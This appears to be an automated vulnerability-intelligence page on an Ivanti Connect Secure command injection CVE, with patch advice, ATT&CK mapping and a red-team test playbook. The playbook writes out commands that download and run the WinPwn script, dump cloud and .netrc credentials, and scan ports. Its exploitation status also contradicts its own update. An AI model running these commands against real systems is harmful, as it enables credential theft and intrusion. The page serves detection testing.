CVE-2024-11007

HIGH Pub 12/11 Upd 22/11

Overview

This vulnerability is a command injection flaw rooted in improper input validation within Ivanti Connect Secure and Ivanti Policy Secure. The flaw occurs in administrative interfaces that process user-supplied commands without adequate sanitization, allowing crafted input to be executed at the system level. The affected components are versions of Ivanti Connect Secure prior to 22.7R2.1 and Ivanti Policy Secure prior to 22.7R1.1, excluding 9.1Rx versions.

Vulnerability Description

Command injection in Ivanti Connect Secure before version 22.7R2.1 (Not Applicable to 9.1Rx) and Ivanti Policy Secure before version 22.7R1.1 (Not Applicable to 9.1Rx) allows a remote authenticated attacker with admin privileges to achieve remote code execution.

Impact

An attacker with authenticated administrative access can execute arbitrary system commands remotely, resulting in full system compromise including confidentiality, integrity, and availability impacts. The prerequisite is high-privilege authentication (PR:H) and network access (AV:N). This allows attackers to manipulate system configurations, extract sensitive data, disrupt services, or pivot within the network. The CVSS vector indicates low attack complexity (AC:L) and no user interaction (UI:N), amplifying the threat in environments where admin credentials are compromised or shared.

Solution

Ivanti recommends upgrading Ivanti Connect Secure to version 22.7R2.1 or later and Ivanti Policy Secure to version 22.7R1.1 or later to remediate this vulnerability. These versions include patches that properly sanitize command inputs in the administrative interfaces. Detailed patch instructions and advisory information are available at Ivanti's official security advisory portal: https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-ICS-Ivanti-Policy-Secure-IPS-Ivanti-Secure-Access-Client-ISAC-Multiple-CVEs.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Ivanti Connect Secure and Ivanti Policy Secure is characterized by a command injection flaw that allows remote authenticated attackers with administrative privileges to execute arbitrary code on the affected systems. This type of vulnerability arises when an application improperly sanitizes user input, enabling an attacker to manipulate commands executed by the system. In this case, the flaw exists in versions prior to 22.7R2.1 for Connect Secure and 22.7R1.1 for Policy Secure, excluding the 9.1Rx versions. The potential for remote code execution (RCE) poses significant risks, as it allows attackers to gain control over the affected systems, potentially leading to further exploitation or data breaches.

Attack vectors for this vulnerability primarily involve authenticated users leveraging their administrative access to inject malicious commands into the system. Once an attacker successfully exploits the command injection flaw, they can execute arbitrary commands with the same privileges as the application. This could lead to a range of malicious activities, including the installation of malware, data exfiltration, or even lateral movement within the network to compromise other systems. Scenarios may include an attacker using a compromised admin account to run scripts that alter system configurations or extract sensitive information, thereby escalating the impact of the attack.

The real-world implications of this vulnerability are profound, particularly for organizations relying on Ivanti's solutions for secure access and policy management. The ability for an attacker to execute arbitrary code remotely can lead to severe business risks, including operational disruptions, financial losses, and reputational damage. Organizations may face regulatory penalties if sensitive data is compromised, especially in industries governed by strict compliance requirements. Additionally, the potential for data breaches could result in loss of customer trust and long-term damage to brand reputation, emphasizing the critical need for timely remediation.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching affected systems is essential to eliminate the risk associated with known vulnerabilities. Security teams should conduct thorough vulnerability assessments and penetration testing to identify potential weaknesses in their environment. Intrusion detection systems (IDS) can be configured to monitor for unusual activity that may indicate exploitation attempts. Furthermore, implementing strict access controls and minimizing the number of users with administrative privileges can significantly reduce the attack surface and limit the potential impact of any exploitation.

In conclusion, the command injection vulnerability in Ivanti Connect Secure and Policy Secure presents a significant threat to organizations that utilize these products. The potential for remote code execution underscores the importance of maintaining robust security practices, including timely updates, vigilant monitoring, and strict access controls. By adopting a proactive stance towards vulnerability management, organizations can better protect their systems and sensitive data from malicious actors seeking to exploit such weaknesses.




CSURFACE threat intelligence has identified a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-11007, reflecting a growing likelihood of exploitation in the near term. While no new exploit techniques or proof-of-concept code have surfaced, this upward adjustment in EPSS suggests heightened attacker interest or improved conditions for exploitation, possibly due to increased availability of vulnerable targets or changes in attacker tactics. Our telemetry indicates that while exploitation attempts remain stable, the relative risk posed by this vulnerability is rising, warranting continued vigilance. This shift elevates the threat profile from a static concern to a more dynamic risk, emphasizing the need for defenders to prioritize monitoring and response capabilities around Ivanti Connect Secure environments.



Update 2 — July 12, 2026

CSURFACE threat intelligence has detected an initial confirmed exploitation attempt targeting CVE-2024-11007, marking a shift from previous periods of no observed activity. This emergence of exploitation signals that threat actors with administrative access are actively leveraging the command injection vulnerability in Ivanti Connect Secure environments. Although the overall EPSS score remains moderate and stable, the presence of actual exploitation attempts underscores an increased operational interest and validates the vulnerability as a viable attack vector in the wild. For defenders, this development elevates the urgency to monitor administrative access and related telemetry closely, as adversaries are now demonstrating capability and intent to execute remote code through this flaw. Consequently, the threat level should be considered heightened from theoretical risk to active exploitation, necessitating enhanced situational awareness around affected Ivanti products.

Affected Products (12)

Vendor Product Version CPE
ivanti Ivanti Connect Secure All cpe:2.3:a:ivanti:connect_secure:*:*:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:-:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r1.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r1.2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r1.3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r1.4:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r1.5:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r2:*:*:*:*:*:*
ivanti Ivanti Policy Secure All cpe:2.3:a:ivanti:policy_secure:*:*:*:*:*:*:*:*
ivanti Ivanti Policy Secure 22.7 cpe:2.3:a:ivanti:policy_secure:22.7:-:*:*:*:*:*:*
ivanti Ivanti Policy Secure 22.7 cpe:2.3:a:ivanti:policy_secure:22.7:r1:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

1 events
2026-06-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
85% rce
Code Injection
67% code_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
47%
High High
CAPEC-6 Argument Injection
46%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
40%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-11007
forums.ivanti.com
GitHub CVE
https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-ICS-Ivanti-Policy-Secure-IPS-Ivanti-Secure-Access-Client-ISAC-Multiple-CVEs